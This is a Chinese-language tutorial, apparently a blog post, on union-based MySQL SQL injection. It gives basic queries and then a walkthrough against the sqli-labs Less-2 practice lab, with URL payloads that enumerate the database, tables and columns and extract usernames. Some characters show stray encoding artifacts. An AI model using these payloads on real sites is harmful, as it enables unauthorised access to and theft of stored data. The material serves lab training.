得到一個(gè)像原來(lái)老師一樣督促你、關(guān)心你的人很難。。。
---- 網(wǎng)易云熱評(píng)
一、常用命令及函數(shù)
1、order by排序,獲取數(shù)據(jù)有幾個(gè)字段,后面小于等于字段數(shù),都會(huì)返回結(jié)果,大于字段數(shù)返回錯(cuò)誤
select * from users order by 3;
2、union select聯(lián)合查詢,后邊必須跟一樣的字段數(shù)
select * from users union select 1,2,5;
3、user()查看當(dāng)前MySQL用戶
4、version()查看mysql版本信息
5、database()查看當(dāng)前數(shù)據(jù)庫(kù)名
select * from users union select user(),version(),database();
二、跨庫(kù)查詢
1、獲取aiyou數(shù)據(jù)庫(kù)中表
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou";
2、獲取下一個(gè)表格
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 0,1;
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 1,1;
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 2,1;
3、獲取字段名
select * from users union select 1,2,column_name from information_schema.columns where table_name="bucuo";
4、獲取字段內(nèi)容
select * from users union select 1,2,username from users;
三、實(shí)例演示(sqli環(huán)境)
1、判斷表有多少字段,order by 3返回正常,所以有三個(gè)字段
http://192.168.139.129/sqli/Less-2/?id=1 order by 3
2、聯(lián)合查詢可以顯示的數(shù)列,讓前面的select語(yǔ)句報(bào)錯(cuò),才能執(zhí)行后面的select語(yǔ)句
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,3
3、獲取數(shù)據(jù)庫(kù)名字和版本信息,因?yàn)?不能顯示,所以將2和3替換為version(),database()
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,version(),database()
4、獲取數(shù)據(jù)庫(kù)security的表
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security"
獲取第二個(gè)表、第三個(gè)表
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" limit 1,1 --
5、獲取表名為users的字段名
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users"
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users" limit 1,1 --
?6、獲取字段內(nèi)容
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users limit 1,1 --
禁止非法,后果自負(fù)